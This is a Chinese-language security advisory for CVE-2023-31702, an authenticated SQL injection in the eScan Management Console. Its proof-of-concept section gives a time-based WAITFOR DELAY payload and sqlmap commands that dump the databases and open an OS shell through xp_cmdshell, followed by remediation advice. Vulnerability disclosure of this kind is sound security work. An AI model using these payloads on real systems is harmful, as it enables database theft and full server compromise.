CVE-2023-31702 是发现于 MicroWorld Technologies eScan 管理控制台 14.0.1400.2281 版本中的一个经过身份验证的 SQL 注入漏洞。该漏洞存在于 GetUserCurrentPwd 端点中,UsrId 参数未经适当的清理或参数化,直接被传入 SQL 查询。经过身份验证的攻击者可以利用此漏洞执行 基于时间的盲 SQL 注入,提取整个后端数据库,并最终在底层 Microsoft SQL Server 上获得 交互式操作系统命令 shell,从而导致系统完全沦陷。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2023-31702 |
| 漏洞类型 | SQL 注入(基于时间的盲注 / 堆叠查询) |
| 受影响产品 | MicroWorld Technologies eScan 管理控制台 |
| 受影响版本 | 14.0.1400.2281 |
| 存在漏洞的端点 | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| 存在漏洞的参数 | UsrId |
| 认证要求 | 是(需要有效的控制台凭据) |
| 测试环境 | Windows |
| CVSS v3.1 评分 | 8.8(高危) |
| CVSS 向量 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 报告日期 | 2023 年 5 月 16 日 |
| 作者 | Sahil Ojha |
eScan 管理控制台提供了一个基于 Web 的界面,用于管理组织网络中的端点安全。 "查看用户资料" 功能暴露了一个类似 REST 的端点:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<计数器>
UsrId 参数未经验证、转义或使用参数化查询,直接被合并到后端 SQL 查询中。这允许经过身份验证的攻击者将任意 SQL 语句注入到查询中,从而导致:
WAITFOR DELAY 确认可利用性。xp_cmdshell 存储过程(通过 sp_configure 启用),以 SQL Server 服务账户的权限在服务器上执行任意操作系统命令。成功利用此漏洞后,攻击者可以:
⚠️ 注意: 攻击者必须先获得有效的 eScan 管理控制台凭据。然而,一旦通过身份验证,利用过程简单直接,不需要提升控制台权限。
通过身份验证登录 eScan 管理控制台后,导航至以下 URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
这将返回当前用户资料数据,确认端点可访问。

在 UsrId 参数中注入以下时间延迟 payload:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Payload 解析:
; — 终止原始 SQL 语句并开始一条新语句(堆叠查询)。WAITFOR DELAY '0:0:5' — 指示 SQL Server 暂停 5 秒后再响应。-- — 注释掉原始查询的剩余部分,以防止语法错误。如果服务器响应延迟约 5 秒,则确认存在注入。

一旦确认存在盲 SQL 注入,即可使用 SQLMap 提取完整数据库:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
这将枚举后端 SQL Server 上托管的所有数据库。
SQLMap 还可以通过启用并利用 xp_cmdshell 将攻击升级到操作系统级命令执行:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
这将在 SQL Server 主机上建立一个交互式操作系统 shell。

建立 OS shell 后,可以在服务器上执行任意 Windows 命令:

强烈建议采取以下措施来修复和缓解此漏洞:
使用参数化查询 / 预处理语句 —— 切勿将用户提供的输入直接拼接到 SQL 查询中。使用绑定参数将数据与查询逻辑分离。
输入验证与净化 —— 在服务端严格验证所有用户提供的参数。对于像 UsrId 这样的数字标识符,应强制仅接受整数输入,并拒绝任何包含特殊字符的值。
应用供应商补丁 —— 将 eScan 管理控制台更新到最新可用版本。联系 MicroWorld Technologies 支持或参考其安全公告以获取最新的修补版本。
数据库账户最小权限原则 —— 应用程序数据库账户应仅拥有所需的最低权限。它不应具有 sysadmin 或 db_owner 角色,并且应禁用 xp_cmdshell。
禁用 xp_cmdshell —— 除非明确需要,否则在 SQL Server 实例上禁用 xp_cmdshell 扩展存储过程:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Web 应用防火墙 (WAF) —— 部署 WAF 以检测并阻止常见的 SQL 注入模式,作为纵深防御措施。
网络分段 —— 将 eScan 管理控制台的访问限制在受信任的 IP 范围内,并确保 SQL Server 不直接暴露在互联网上。
| 日期 | 事件 |
|---|---|
| 2023 年 5 月 16 日 | 由 Sahil Ojha 发现并报告该漏洞 |
| 2023 年 5 月 | MITRE 分配 CVE-2023-31702 |
| 2023 年 5 月 | 公开披露 |
Sahil Ojha — 安全研究员
本披露仅用于教育和安全研究目的。在未获得明确书面授权的情况下,针对系统利用此漏洞是非法且不道德的。
| 字段 | 详情 |
|---|
| 供应商 | MicroWorld Technologies |
| 产品 | eScan 管理控制台 |
| 供应商主页 | https://www.escanav.com |
| 软件链接 | https://cl.escanav.com/ewconsole.dll |
| 平台 | Windows |